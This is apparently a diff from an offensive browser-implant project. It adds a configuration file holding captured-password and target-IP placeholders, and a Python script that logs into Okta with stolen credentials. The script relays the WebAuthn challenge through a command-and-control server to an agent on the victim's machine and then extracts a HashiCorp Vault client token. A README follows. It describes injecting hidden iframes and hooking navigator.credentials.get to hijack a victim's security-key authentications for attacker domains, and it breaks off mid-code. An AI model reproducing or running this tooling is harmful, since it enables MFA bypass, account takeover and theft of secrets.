OKTA_BASE_URL = f"https://{OKTA_DOMAIN}"
USERNAME = "<USERNAME@TARGET_DOMAIN>"
PASSWORD = "<CAPTURED_PASSWORD>"
# Vault Configuration
VAULT_BASE_URL = "<VAULT_URL>"
VAULT_REDIRECT_URI = f"{VAULT_BASE_URL}/ui/vault/auth/oidc/oidc/callback"
# Battleplan Configuration
BATTLEPLAN_BASE_URL = "<BATTLEPLAN_URL>"
BATTLEPLAN_AUTH = "<BATTLEPLAN_AUTH_BASE64_FROM_ADMIN:PASSWORD>"
AGENT_IP = "<TARGET_IP>"
+976
View File
@@ -0,0 +1,976 @@
import requests
import json
import re
import base64
import time
from urllib.parse import unquote, urlparse, parse_qs
from config import (
OKTA_DOMAIN, OKTA_BASE_URL, USERNAME, PASSWORD,
VAULT_BASE_URL, VAULT_REDIRECT_URI,
BATTLEPLAN_BASE_URL, BATTLEPLAN_AUTH,
AGENT_IP
)
def make_webauthn_request(request, domain):
"""
Automate the WebAuthn request flow:
1. Create task
2. Poll for completion
3. Return result.response
Args:
request (str): Base64-encoded WebAuthn request
domain (str): Domain for the WebAuthn request
"""
# Headers for all requests
headers = {
"Authorization": f"Basic {BATTLEPLAN_AUTH}",
"Content-Type": "application/json"
}
# Step 1: Create the WebAuthn task
print("Creating WebAuthn task... for properties:")
print(f"domain: {domain}")
print(f"request: {request}")
payload = {
"command": "webauthn",
"payload": json.dumps({
"domain": domain,
"request": request
}),
"agentIp": AGENT_IP
}
try:
response = requests.post(
f"{BATTLEPLAN_BASE_URL}/command",
headers=headers,
json=payload
)
response.raise_for_status()
# Extract taskId from response
task_data = response.json()
task_id = task_data.get("taskId")
if not task_id:
print("Error: No taskId received in response")
print(f"Response: {task_data}")
return None
print(f"Task created successfully. TaskId: {task_id}")
print(f"Status: {task_data.get('status')}")
except requests.exceptions.RequestException as e:
print(f"Error creating task: {e}")
return None
# Step 2: Poll for task completion
print("Polling for task completion...")
poll_url = f"{BATTLEPLAN_BASE_URL}/task/{task_id}"
max_attempts = 60 # Maximum 5 minutes of polling (60 * 5 seconds)
attempt = 0
while attempt < max_attempts:
try:
poll_response = requests.get(poll_url, headers=headers)
poll_response.raise_for_status()
poll_data = poll_response.json()
status = poll_data.get("status")
print(f"Attempt {attempt + 1}: Status = {status}")
# Check if we have a result
if "result" in poll_data and poll_data["result"]:
print("Task completed! Processing result...")
# Parse the result (it's a JSON string)
try:
result_data = json.loads(poll_data["result"])
response_data = result_data.get("response")
if response_data:
print("\n" + "="*50)
print("RESULT.RESPONSE:")
print("="*50)
print(json.dumps(response_data, indent=2))
return response_data
else:
print("Error: No response field found in result")
print(f"Full result: {result_data}")
return None
except json.JSONDecodeError as e:
print(f"Error parsing result JSON: {e}")
print(f"Raw result: {poll_data['result']}")
return None
# Check if task failed
if status == "failed":
print("Task failed!")
print(f"Full response: {poll_data}")
return None
except requests.exceptions.RequestException as e:
print(f"Error polling task: {e}")
# Wait 5 seconds before next poll
time.sleep(5)
attempt += 1
print("Max polling attempts reached. Task may still be running.")
return None
def format_idx_webauthn_challenge_for_browser(challenge_data):
"""Convert IDX WebAuthn challenge response to browser-compatible format and encode as base64"""
# Extract challenge data from IDX response
current_auth = challenge_data.get('currentAuthenticator', {}).get('value', {})
challenge_info = current_auth.get('contextualData', {}).get('challengeData', {})
challenge = challenge_info.get('challenge')
user_verification = challenge_info.get('userVerification', 'preferred')
if not challenge:
raise ValueError("No challenge found in IDX response")
print(f"🔑 Challenge: {challenge}")
print(f"👤 User verification: {user_verification}")
# Find the WebAuthn credential ID from authenticatorEnrollments
enrollments = challenge_data.get('authenticatorEnrollments', {}).get('value', [])
credential_id = None
for enrollment in enrollments:
if (enrollment.get('key') == 'webauthn' and
enrollment.get('type') == 'security_key' and
'credentialId' in enrollment):
credential_id = enrollment['credentialId']
print(f"🔐 Found credential ID: {credential_id}")
break
if not credential_id:
raise ValueError("No WebAuthn credential ID found in response")
# Extract rpId from the challenge URL (assuming it's trial-9881677.okta.com)
rp_id = OKTA_DOMAIN
# Format for navigator.credentials.get()
webauthn_request = {
"publicKey": {
"challenge": challenge, # Keep as base64url string - JS will convert
"timeout": 60000, # 60 seconds timeout
"rpId": rp_id,
"allowCredentials": [
{
"type": "public-key",
"id": credential_id, # Keep as base64url string - JS will convert
"transports": ["usb", "nfc", "ble", "hybrid"]
}
],
"userVerification": user_verification
}
}
# Convert to JSON string
json_string = json.dumps(webauthn_request)
# Encode as base64
encoded_string = base64.b64encode(json_string.encode('utf-8')).decode('utf-8')
# Extract stateHandle for later use
state_handle = challenge_data.get('stateHandle')
# Get the answer URL from remediation
answer_url = None
remediation = challenge_data.get('remediation', {}).get('value', [])
for remedy in remediation:
if remedy.get('name') == 'challenge-authenticator':
answer_url = remedy.get('href')
break
if not answer_url:
raise ValueError("No challenge-authenticator URL found in response")
verification_data = {
"stateHandle": state_handle,
"answerUrl": answer_url
}
return {
"encoded_webauthn_options": encoded_string,
"verification_data": verification_data
}
def submit_idx_webauthn_response_to_okta(session, verification_data, webauthn_response):
"""Submit WebAuthn response to IDX challenge/answer endpoint"""
# The IDX API expects the response in a specific format
payload = {
"credentials": {
"clientData": webauthn_response['clientDataJSON'],
"authenticatorData": webauthn_response['authenticatorData'],
"signatureData": webauthn_response['signature'] # Note: IDX uses 'signatureData', not 'signature'
},
"stateHandle": verification_data['stateHandle']
}
# Include userHandle if present
if 'userHandle' in webauthn_response and webauthn_response['userHandle']:
payload['credentials']['userHandle'] = webauthn_response['userHandle']
print(f"📎 Including userHandle: {webauthn_response['userHandle']}")
headers = {
"Accept": "application/json; okta-version=1.0.0",
"Accept-Language": "en",
"Content-Type": "application/json",
"X-Okta-User-Agent-Extended": "okta-auth-js/7.11.0 okta-signin-widget-7.33.0",
# "X-Device-Fingerprint": "vp7_x0b0dbi95vQeXg22pytWveCYiF1x|9aa6534f76ae4b035eb4fdb3bf11dda5faa1e765638735cceee34f35192168d4|244149bc78cafdb571d6fd63add4f442",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0",
"Origin": OKTA_BASE_URL,
"DNT": "1",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin"
}
print(f"🔗 Submitting to: {verification_data['answerUrl']}")
print(f"📝 Payload structure:")
print(f" credentials.clientData length: {len(webauthn_response['clientDataJSON'])} chars")
print(f" credentials.authenticatorData length: {len(webauthn_response['authenticatorData'])} chars")
print(f" credentials.signatureData length: {len(webauthn_response['signature'])} chars")
print(f" stateHandle: {verification_data['stateHandle'][:50]}...")
# Debug: decode and show clientData
try:
client_data_decoded = base64.b64decode(webauthn_response['clientDataJSON']).decode('utf-8')
client_data_json = json.loads(client_data_decoded)
print(f"🔍 Decoded clientData:")
print(f" type: {client_data_json.get('type')}")
print(f" challenge: {client_data_json.get('challenge')}")
print(f" origin: {client_data_json.get('origin')}")
except Exception as e:
print(f"⚠️ Could not decode clientData: {e}")
print(f"\n📡 Making POST request to {verification_data['answerUrl']}")
response = session.post(
verification_data['answerUrl'],
headers=headers,
json=payload
)
print(f"📡 Response status: {response.status_code}")
if response.status_code != 200:
print(f"❌ Error response: {response.text}")
response.raise_for_status()
result = response.json()
print(f"🔍 Response details:")
print(f" Status: {result.get('status')}")
if 'intent' in result:
print(f" Intent: {result.get('intent')}")
return result
def handle_success_redirect(session, webauthn_result):
"""Handle the success redirect URL to complete the OAuth2 flow"""
# Check if we have a success redirect
success_data = webauthn_result.get('success', {})
redirect_url = success_data.get('href')
if not redirect_url:
print("❌ No success redirect URL found in response")
return None
print(f"🔗 Found success redirect URL: {redirect_url}")
# Make a GET request to the redirect URL while maintaining session
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"DNT": "1",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Priority": "u=0, i",
"TE": "trailers"
}
print(f"🌐 Making GET request to redirect URL...")
print(f" URL: {redirect_url}")
print(f" Session cookies: {len(session.cookies)} cookies")
# Log current cookies for debugging
for cookie in session.cookies:
print(f" Cookie: {cookie.name}={cookie.value[:20]}...")
# Specifically check for important cookies
dt_cookie = None
jsessionid_cookie = None
ln_cookie = None
for cookie in session.cookies:
if cookie.name == 'DT':
dt_cookie = cookie.value
elif cookie.name == 'JSESSIONID':
jsessionid_cookie = cookie.value
elif cookie.name == 'ln':
ln_cookie = cookie.value
print(f"📋 Important cookies status:")
print(f" DT cookie: {'✅ Present' if dt_cookie else '❌ Missing'}")
print(f" JSESSIONID: {'✅ Present' if jsessionid_cookie else '❌ Missing'}")
if dt_cookie:
print(f" DT value: {dt_cookie[:30]}{'...' if len(dt_cookie) > 30 else ''}")
if not dt_cookie:
print("⚠️ WARNING: DT cookie is missing! This may cause issues with the final redirect.")
print(" The DT cookie should have been set during the initial auth URL request.")
response = session.get(redirect_url, headers=headers, allow_redirects=True)
print(f"📡 Redirect response status: {response.status_code}")
print(f"🔗 Final URL after redirects: {response.url}")
# Check if we got redirected to the Vault callback
if "vault/auth/oidc/oidc/callback" in response.url:
print("✅ Successfully redirected to Vault callback!")
print(f"📋 Final callback URL: {response.url}")
# Extract any query parameters from the final URL
parsed_url = urlparse(response.url)
query_params = parse_qs(parsed_url.query)
if 'code' in query_params:
auth_code = query_params['code'][0]
print(f"🎯 Authorization code received: {auth_code[:20]}...")
if 'state' in query_params:
state = query_params['state'][0]
print(f"🔐 State parameter: {state}")
# Step 9: Complete Vault authentication to get client token
vault_result = complete_vault_authentication(response.url)
if vault_result and vault_result.get('success'):
return {
'success': True,
'authorization_code': auth_code,
'state': query_params.get('state', [None])[0],
'callback_url': response.url,
'final_response': response,
'vault_result': vault_result,
'client_token': vault_result['client_token'],
'accessor': vault_result['accessor'],
'policies': vault_result['policies'],
'lease_duration': vault_result['lease_duration']
}
else:
print("❌ Failed to complete Vault authentication")
# Still return the authorization code in case manual completion is needed
return {
'success': False,
'authorization_code': auth_code,
'state': query_params.get('state', [None])[0],
'callback_url': response.url,
'final_response': response,
'vault_error': 'Failed to complete Vault authentication'
}
else:
print("⚠️ No authorization code found in callback URL")
print(f"Query parameters: {query_params}")
else:
print(f"⚠️ Unexpected redirect destination: {response.url}")
# Return response details for debugging
return {
'success': False,
'final_url': response.url,
'status_code': response.status_code,
'response': response
}
def complete_vault_authentication(callback_url):
"""Make the final callback request to Vault to get the client token"""
print(f"🔐 Step 9: Completing Vault authentication...")
print(f"📞 Extracting parameters from callback URL: {callback_url}")
# Extract the host and parameters from the callback URL
parsed_callback = urlparse(callback_url)
vault_host = parsed_callback.netloc
query_params = parse_qs(parsed_callback.query)
# Extract code and state parameters
code = query_params.get('code', [None])[0]
state = query_params.get('state', [None])[0]
if not code or not state:
print(f"❌ Missing required parameters: code={code}, state={state}")
return None
print(f"📋 Extracted parameters:")
print(f" Code: {code[:20]}...")
print(f" State: {state}")
# Construct the proper Vault API endpoint
vault_api_url = f"https://{vault_host}/v1/auth/oidc/oidc/callback?code={code}&state={state}"
print(f"🎯 Making request to Vault API: {vault_api_url}")
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Referer": f"https://{vault_host}/ui/vault/auth",
"DNT": "1",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin",
"Priority": "u=4",
"TE": "trailers"
}
# Create a new session for the Vault API call (different domain)
vault_session = requests.Session()
# Set the abuse_interstitial cookie if needed
vault_session.cookies.set('abuse_interstitial', vault_host)
try:
response = vault_session.get(vault_api_url, headers=headers)
print(f"📡 Vault API response status: {response.status_code}")
if response.status_code != 200:
print(f"❌ Error from Vault API: {response.text}")
return None
# Parse the JSON response
vault_response = response.json()
print("✅ Vault API callback successful!")
# Extract the client token
auth_data = vault_response.get('auth', {})
client_token = auth_data.get('client_token')
if client_token:
print(f"🎯 Client token obtained: {client_token[:20]}...")
# Also extract other useful info
accessor = auth_data.get('accessor')
policies = auth_data.get('policies', [])
lease_duration = auth_data.get('lease_duration')
print(f"📋 Vault authentication details:")
print(f" Accessor: {accessor[:20]}..." if accessor else " Accessor: None")
print(f" Policies: {policies}")
print(f" Lease duration: {lease_duration} seconds" if lease_duration else " Lease duration: Unknown")
return {
'success': True,
'client_token': client_token,
'accessor': accessor,
'policies': policies,
'lease_duration': lease_duration,
'full_response': vault_response,
'api_url': vault_api_url
}
else:
print("❌ No client token found in Vault response")
print(f"Full response: {json.dumps(vault_response, indent=2)}")
return None
except Exception as e:
print(f"❌ Error making Vault API request: {e}")
return None
def automate_okta_login():
# # Step 1: Get the auth URL from Vault
vault_url = f"{VAULT_BASE_URL}/v1/auth/oidc/oidc/auth_url"
headers = {
"Content-Type": "application/json; charset=utf-8",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Origin": VAULT_BASE_URL,
"Referer": f"{VAULT_BASE_URL}/ui/vault/auth",
"DNT": "1",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin"
}
payload = {
"role": "",
"redirect_uri": VAULT_REDIRECT_URI
}
print("Step 1: Getting auth URL from Vault...")
response = requests.post(vault_url, headers=headers, json=payload)
if response.status_code != 200:
print(f"Error getting auth URL: {response.status_code}")
return None
auth_data = response.json()
auth_url = auth_data['data']['auth_url']
print(f"🔑 Using auth URL: {auth_url}")
# auth_url = "https://trial-9881677.okta.com/oauth2/default/v1/authorize?client_id=0oat1yhqlmzIGmadU697&code_challenge=1zyhQgGtPym7ahgutC3VwqcmLjAGyyh5TRn_XvLj-RE&code_challenge_method=S256&nonce=n_PQTE41dZpZsBBo4XFLBE&redirect_uri=https%3A%2F%2F76abb9d6a38b.ngrok-free.app%2Fui%2Fvault%2Fauth%2Foidc%2Foidc%2Fcallback&response_type=code&scope=openid+profile+email&state=st_rHBr28pzMMIugUtI0ABM"
print(f"Got auth URL: {auth_url}")
# Step 2: Follow the auth URL to get the state token
print("\nStep 2: Following auth URL to get state token...")
# Create a session early to preserve all cookies including DT
session = requests.Session()
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"DNT": "1",
"Referer": f"{VAULT_BASE_URL}/",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "cross-site",
"Sec-Fetch-User": "?1"
}
response = session.get(auth_url, headers=headers)
if response.status_code != 200:
print(f"Error following auth URL: {response.status_code}")
return None
# Debug: Show cookies received from auth URL
print(f"📋 Cookies received from auth URL ({len(session.cookies)} total):")
for cookie in session.cookies:
print(f" {cookie.name}={cookie.value[:30]}{'...' if len(cookie.value) > 30 else ''}")
# Extract state token from the response
state_token = extract_state_token(response.text)
if not state_token:
print("Could not extract state token from response")
return None
print(f"Extracted state token: {state_token[:50]}...")
# Step 3: Call the introspect endpoint
print("\nStep 3: Calling introspect endpoint...")
introspect_url = f"{OKTA_BASE_URL}/idp/idx/introspect"
headers = {
"Accept": "application/ion+json; okta-version=1.0.0",
"Accept-Language": "en",
"Content-Type": "application/ion+json; okta-version=1.0.0",
"X-Okta-User-Agent-Extended": "okta-auth-js/7.11.0 okta-signin-widget-7.33.0",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0",
"Origin": OKTA_BASE_URL,
"DNT": "1",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin"
}
payload = {
"stateToken": state_token
}
# Debug: Show cookies before introspect request
print(f"📋 Cookies before introspect ({len(session.cookies)} total):")
for cookie in session.cookies:
print(f" {cookie.name}={cookie.value[:20]}...")
response = session.post(introspect_url, headers=headers, json=payload)
if response.status_code != 200:
print(f"Error calling introspect: {response.status_code}")
print(f"Response: {response.text}")
return None
print("Successfully called introspect endpoint!")
introspect_data = response.json()
# Step 4: Call the identify endpoint with credentials
print("\nStep 4: Calling identify endpoint with credentials...")
identify_url = f"{OKTA_BASE_URL}/idp/idx/identify"
# Extract the new stateHandle from introspect response
state_handle = introspect_data.get('stateHandle')
headers = {
"Accept": "application/json; okta-version=1.0.0",
"Accept-Language": "en",
"Content-Type": "application/json",
"X-Okta-User-Agent-Extended": "okta-auth-js/7.11.0 okta-signin-widget-7.33.0",
# "X-Device-Fingerprint": "vp7_x0b0dbi95vQeXg22pytWveCYiF1x|9aa6534f76ae4b035eb4fdb3bf11dda5faa1e765638735cceee34f35192168d4|244149bc78cafdb571d6fd63add4f442",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0",
"Origin": OKTA_BASE_URL,
"DNT": "1",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin"
}
# Hardcoded credentials as requested
payload = {
"identifier": USERNAME,
"credentials": {
"passcode": PASSWORD
},
"stateHandle": state_handle
}
response = session.post(identify_url, headers=headers, json=payload)
if response.status_code != 200:
print(f"Error calling identify: {response.status_code}")
print(f"Response: {response.text}")
return None
print("Successfully called identify endpoint!")
identify_data = response.json()
# Step 5: Call the challenge endpoint for webauthn
print("\nStep 5: Calling challenge endpoint for webauthn...")
challenge_url = f"{OKTA_BASE_URL}/idp/idx/challenge"
# Extract webauthn authenticator ID from the identify response
webauthn_auth_id = extract_webauthn_authenticator_id(identify_data)
if not webauthn_auth_id:
print("Could not find webauthn authenticator ID in response")
return None
print(f"Found webauthn authenticator ID: {webauthn_auth_id}")
# Update stateHandle from identify response
state_handle = identify_data.get('stateHandle')
payload = {
"authenticator": {
"id": webauthn_auth_id
},
"stateHandle": state_handle
}
response = session.post(challenge_url, headers=headers, json=payload)
if response.status_code != 200:
print(f"Error calling challenge: {response.status_code}")
print(f"Response: {response.text}")
return None
print("Successfully called challenge endpoint!")
challenge_data = response.json()
# Step 6: Format the WebAuthn challenge for the browser
print("\nStep 6: Formatting WebAuthn challenge for browser...")
try:
formatted_challenge = format_idx_webauthn_challenge_for_browser(challenge_data)
webauthn_response = make_webauthn_request(formatted_challenge['encoded_webauthn_options'], OKTA_DOMAIN)
if webauthn_response:
print("✅ WebAuthn response received!")
print(f"Response: {webauthn_response}")
else:
print("❌ No webauthn response received")
return None
# Validate required fields
required_fields = ['clientDataJSON', 'authenticatorData', 'signature']
missing_fields = [field for field in required_fields if field not in webauthn_response]
print("✅ Valid WebAuthn response received!")
print(f"Response keys: {list(webauthn_response.keys())}")
# Step 7: Submit to Okta IDX
print("\n🔄 Submitting WebAuthn response to Okta IDX...")
final_result = submit_idx_webauthn_response_to_okta(
session,
formatted_challenge['verification_data'],
webauthn_response
)
print("🎉 WebAuthn authentication complete!")
# Step 8: Handle the success redirect to complete OAuth2 flow
print("\n🔄 Step 8: Following success redirect to complete OAuth2 flow...")
if final_result.get('intent') == 'LOGIN' and 'success' in final_result:
redirect_result = handle_success_redirect(session, final_result)
if redirect_result and redirect_result.get('success'):
print("🎉 OAuth2 flow completed successfully!")
print(f"🔑 Authorization code: {redirect_result['authorization_code'][:20]}...")
# Check if we got the final client token - if so, we're completely done!
if 'client_token' in redirect_result:
print("🎉 Vault authentication completed successfully!")
print("\n" + "="*60)
print("🏆 ULTIMATE SUCCESS: VAULT CLIENT TOKEN OBTAINED!")
print("="*60)
print(f"🔑 Client Token: {redirect_result['client_token']}")
if 'accessor' in redirect_result and redirect_result['accessor']:
print(f"🆔 Accessor: {redirect_result['accessor']}")
if 'policies' in redirect_result and redirect_result['policies']:
print(f"📋 Policies: {redirect_result['policies']}")
if 'lease_duration' in redirect_result and redirect_result['lease_duration']:
print(f"⏰ Lease Duration: {redirect_result['lease_duration']} seconds")
print("\n✅ Authentication flow complete! You can now use this client token with Vault.")
print("="*60)
# Return immediately with complete success - no need to continue!
return {
'session': session,
'introspect_data': introspect_data,
'identify_data': identify_data,
'challenge_data': challenge_data,
'webauthn_result': final_result,
'oauth2_result': redirect_result,
'state_token': state_token,
'webauthn_auth_id': webauthn_auth_id,
'authorization_code': redirect_result['authorization_code'],
'vault_callback_url': redirect_result['callback_url'],
'client_token': redirect_result.get('client_token'),
'accessor': redirect_result.get('accessor'),
'policies': redirect_result.get('policies'),
'lease_duration': redirect_result.get('lease_duration'),
'vault_result': redirect_result.get('vault_result'),
'complete_success': True
}
# If no client token yet, continue with normal flow
print("🔄 Continuing authentication flow...")
# Update return data with complete flow result
return {
'session': session,
'introspect_data': introspect_data,
'identify_data': identify_data,
'challenge_data': challenge_data,
'webauthn_result': final_result,
'oauth2_result': redirect_result,
'state_token': state_token,
'webauthn_auth_id': webauthn_auth_id,
'authorization_code': redirect_result['authorization_code'],
'vault_callback_url': redirect_result['callback_url'],
'client_token': redirect_result.get('client_token'),
'accessor': redirect_result.get('accessor'),
'policies': redirect_result.get('policies'),
'lease_duration': redirect_result.get('lease_duration'),
'vault_result': redirect_result.get('vault_result')
}
else:
print("⚠️ OAuth2 redirect flow encountered issues")
if redirect_result:
print(f"Final URL: {redirect_result.get('final_url')}")
print(f"Status: {redirect_result.get('status_code')}")
else:
print("⚠️ No success redirect available - authentication may not be complete")
# Update return data with final result
return {
'session': session,
'introspect_data': introspect_data,
'identify_data': identify_data,
'challenge_data': challenge_data,
'webauthn_result': final_result,
'state_token': state_token,
'webauthn_auth_id': webauthn_auth_id
}
except Exception as e:
print(f"❌ Error formatting WebAuthn challenge: {e}")
print("Returning challenge data for manual processing...")
return {
'session': session,
'introspect_data': introspect_data,
'identify_data': identify_data,
'challenge_data': challenge_data,
'state_token': state_token,
'webauthn_auth_id': webauthn_auth_id
}
return {
'session': session,
'introspect_data': introspect_data,
'identify_data': identify_data,
'challenge_data': challenge_data,
'state_token': state_token,
'webauthn_auth_id': webauthn_auth_id
}
def extract_webauthn_authenticator_id(identify_data):
"""
Extract the webauthn authenticator ID from the identify response.
"""
try:
# Look for authenticators in the response
authenticators = identify_data.get('authenticators', {}).get('value', [])
for auth in authenticators:
if auth.get('key') == 'webauthn' and auth.get('type') == 'security_key':
return auth.get('id')
# Also check in authenticatorEnrollments if not found in authenticators
enrollments = identify_data.get('authenticatorEnrollments', {}).get('value', [])
for enrollment in enrollments:
if enrollment.get('key') == 'webauthn' and enrollment.get('type') == 'security_key':
return enrollment.get('id')
# Check in remediation options as well
remediation = identify_data.get('remediation', {}).get('value', [])
for remedy in remediation:
if remedy.get('name') == 'select-authenticator-authenticate':
auth_options = remedy.get('value', [])
for option in auth_options:
if option.get('name') == 'authenticator':
options = option.get('options', [])
for opt in options:
if opt.get('label') == 'Security Key or Biometric':
form_values = opt.get('value', {}).get('form', {}).get('value', [])
for form_val in form_values:
if form_val.get('name') == 'id':
return form_val.get('value')
return None
except Exception as e:
print(f"Error extracting webauthn authenticator ID: {e}")
return None
def extract_state_token(html_content):
"""
Extract the state token from the HTML response.
Handles the \x2D encoding and converts it to regular hyphens.
"""
# Look for the stateToken variable in the HTML
patterns = [
r'var stateToken = [\'"]([^\'"]*)[\'"]',
r'stateToken[\'"]?\s*[:=]\s*[\'"]([^\'"]*)[\'"]',
r'stateToken\s*=\s*[\'"]([^\'"]*)[\'"]'
]
for pattern in patterns:
match = re.search(pattern, html_content, re.IGNORECASE)
if match:
token = match.group(1)
# Replace \x2D with hyphens
token = token.replace('\\x2D', '-')
# Also handle URL encoding if present
token = unquote(token)
return token
return None
if __name__ == "__main__":
print(f"🔑 Using BATTLEPLAN_BASE_URL: {BATTLEPLAN_BASE_URL}")
print(f"🔑 Using BATTLEPLAN_AUTH: {BATTLEPLAN_AUTH}")
print(f"🔑 Using AGENT_IP: {AGENT_IP}")
result = automate_okta_login()
if result:
# Check if we already completed everything successfully
if result.get('complete_success'):
print("\n🎊 Program completed successfully!")
print("All authentication steps have been completed and the client token has been obtained.")
available_data = list(result.keys())
print(f"Available data: {', '.join(available_data)}")
else:
print("\n" + "="*50)
print("SUCCESS: Workflow completed successfully!")
if 'webauthn_result' in result:
print("✅ WebAuthn authentication completed!")
webauthn_result = result['webauthn_result']
# Check if we have a session token or authorization success
if webauthn_result.get('intent') == 'LOGIN':
print("🎯 Authentication successful - user is now logged in!")
# Check for the final client token (most important result)
if 'client_token' in result and result['client_token']:
print("\n" + "="*60)
print("🏆 ULTIMATE SUCCESS: VAULT CLIENT TOKEN OBTAINED!")
print("="*60)
print(f"🔑 Client Token: {result['client_token']}")
if 'accessor' in result and result['accessor']:
print(f"🆔 Accessor: {result['accessor']}")
if 'policies' in result and result['policies']:
print(f"📋 Policies: {result['policies']}")
if 'lease_duration' in result and result['lease_duration']:
print(f"⏰ Lease Duration: {result['lease_duration']} seconds")
print("\n✅ You can now use this client token to authenticate with Vault!")
print("="*60)
# Check for OAuth2 completion
elif 'oauth2_result' in result and result['oauth2_result'].get('success'):
print("🚀 OAuth2 flow completed successfully!")
print(f"🔑 Authorization code: {result['authorization_code'][:20]}...")
print(f"🔗 Vault callback URL: {result['vault_callback_url']}")
if result['oauth2_result'].get('vault_error'):
print(f"⚠️ Vault authentication error: {result['oauth2_result']['vault_error']}")
print("💡 You may need to manually complete the Vault callback")
elif 'authorization_code' in result:
print(f"🔑 Authorization code: {result['authorization_code'][:20]}...")
else:
print("⚠️ OAuth2 flow may be incomplete")
# Check for session tokens or continuation URLs
if 'sessionToken' in webauthn_result:
print(f"🔑 Session token available: {webauthn_result['sessionToken'][:20]}...")
# Look for success state or next steps
if webauthn_result.get('success'):
print("🎉 Authentication flow has success redirect available!")
elif 'remediation' in webauthn_result:
print("➡️ Additional steps may be available in remediation")
if 'oauth2_result' not in result:
print(f"\n📋 WebAuthn authentication result:")
print(json.dumps({k: v for k, v in webauthn_result.items() if k != 'stateHandle'}, indent=2))
else:
print(f"️ Authentication status: {webauthn_result.get('intent', 'Unknown')}")
else:
print("⚠️ WebAuthn authentication was not completed")
print("You can now use the session and response data for next steps.")
available_data = list(result.keys())
print(f"Available data: {', '.join(available_data)}")
print("="*50)
else:
print("\n" + "="*50)
print("FAILED: Workflow did not complete successfully.")
print("="*50)
+361
View File
@@ -0,0 +1,361 @@
# PAINTBUCKET - Web Injection & Authentication Bypass Component
## Overview
PAINTBUCKET is ChromeAlone's web content manipulation component that injects additional WebAuthn authentication requests into legitimate user authentication flows. Rather than intercepting existing credentials, it creates hidden iframes that silently perform WebAuthn requests to attacker-controlled domains whenever a user authenticates to any website.
## What is PAINTBUCKET?
PAINTBUCKET provides three core injection capabilities:
1. **WebAuthn Request Injection** - Creating hidden iframe requests that piggyback on legitimate user authentication
2. **Cross-Domain Authentication** - Leveraging user interaction to authenticate to one attacker site per legitimate authentication
3. **Cross-Frame Communication** - Enabling coordination between injected content and extension components
## Technical Deep Dive
### Understanding WebAuthn (FIDO2) Authentication
#### WebAuthn Fundamentals
WebAuthn is a web standard for passwordless authentication that uses public key cryptography:
**Authentication Flow**:
1. **Challenge Generation** - Server creates a random challenge
2. **Credential Request** - Browser requests user authentication (biometric, PIN, hardware key)
3. **Cryptographic Response** - Authenticator signs the challenge with a private key
**Security Properties**:
- **Phishing Resistance** - Credentials are bound to specific origins (domains)
- **Replay Protection** - Each authentication includes unique challenge data
- **Hardware Binding** - Private keys are stored in secure hardware elements
#### PAINTBUCKET's WebAuthn Injection Framework
The system operates by injecting additional WebAuthn requests when legitimate authentication occurs:
**Step 1: Request Interception and Triggering**
```javascript
// Override navigator.credentials.get to detect legitimate requests
navigator.credentials.get = function(options) {
console.log('🔑 WebAuthn GET Request Intercepted:', options);
// Capture the legitimate request for analysis
capturedRequests.push(serializeRequest(options));
// Trigger additional WebAuthn requests in hidden iframes
createWebAuthnIframeInOtherTabs();
// Allow the original request to proceed normally
return originalGet.call(this, options);
};
```
**Step 2: Hidden Iframe Creation**
When legitimate authentication is detected, PAINTBUCKET creates hidden iframes to target additional domains:
```javascript
function createWebAuthnIframe(site, request) {
const iframe = document.createElement('iframe');
// Create iframe with WebAuthn request encoded in URL
iframe.src = "https://" + site + "/something/that/does/not/exist/?makewebauthnrequest=" + encodeURIComponent(request);
iframe.allow = 'publickey-credentials-get';
// Hide the iframe completely
iframe.style.width = '0px';
iframe.style.height = '0px';
iframe.style.position = 'absolute';
iframe.style.left = '-9999px';
document.body.appendChild(iframe);
}
```
**Step 3: Cross-Domain Authentication Execution**
The hidden iframe loads with a specially crafted URL containing base64-encoded WebAuthn request data:
```javascript
// URL parameter processing in iframe context
const makeWebAuthnRequest = urlParams.get('makewebauthnrequest');
if (makeWebAuthnRequest) {
// Decode and parse the WebAuthn request
const requestOptions = JSON.parse(atob(makeWebAuthnRequest));
// Stop normal page loading and execute WebAuthn request
window.stop();
document.documentElement.innerHTML = '<html><body><h1>🔑 Processing WebAuthn Request...</h1></body></html>';
// Execute the WebAuthn request in this domain context
navigator.credentials.get(requestOptions).then(credential => {
